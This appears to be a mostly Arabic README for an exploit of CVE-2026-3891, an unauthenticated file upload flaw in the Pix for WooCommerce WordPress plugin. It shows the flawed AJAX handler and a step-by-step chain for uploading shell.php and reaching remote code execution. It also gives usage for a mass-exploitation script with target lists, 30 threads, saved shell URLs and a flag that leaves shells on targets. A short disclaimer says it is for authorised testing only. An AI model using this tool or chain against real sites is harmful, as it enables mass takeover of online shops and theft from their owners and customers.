
Pix for WooCommerce رفع ملفات دون مصادقة عبر معلمة certificate_crt_path | CVSS 9.8
CVE-2026-3891 هي ثغرة رفع ملفات عشوائية بدون مصادقة بخطورة حرجة (CVSS 9.8) في إضافة Pix for WooCommerce الخاصة بووردبريس (من linknacional) بالإصدارات ≤ 1.5.0.
يحتوي معالج AJAX الخاص بـ lkn_pix_for_woocommerce_c6_save_settings على:
certificate_crt_pathlkn_pix_for_woocommerce_generate_nonce بدون مصادقةتُخزَّن الملفات المرفوعة في الدليل المتاح عبر الويب /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/.
| الإصدار | الحالة |
|---|---|
| ≤ 1.5.0 | متأثر |
| 1.6.0+ | مصحَّح |
اكتُشفت بواسطة: Alexis Lafontaine عبر Wordfence (13 مارس 2026)
// Nonce generated without auth
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
// Upload handler — no capability check, no file type validation
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
function c6_save_settings() {
// No current_user_can() check
// No wp_check_filetype() call
move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
}
1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
→ Get valid nonce (no auth needed)
2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
→ Upload shell.php via certificate_crt_path field
3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
→ RCE
git clone https://github.com/shinthink/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt
python cve_2026_3891.py -t target.com
python cve_2026_3891.py -f targets.txt -o shells.txt
python cve_2026_3891.py -t target.com --debug --no-cleanup
-t, --target Single target
-f, --file Target list
-o, --output Save RCE URLs
--threads Workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every request
-v, --verbose Verbose output
لأغراض التعليم والاختبار المصرَّح بهما فقط. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
| المورد | الرابط |
|---|---|
| تنبيه Wordfence | wordfence.com |
| إدخال NVD | CVE-2026-3891 |
| الباحث | Alexis Lafontaine |
غير تابعة لـ linknacional أو Pix for WooCommerce.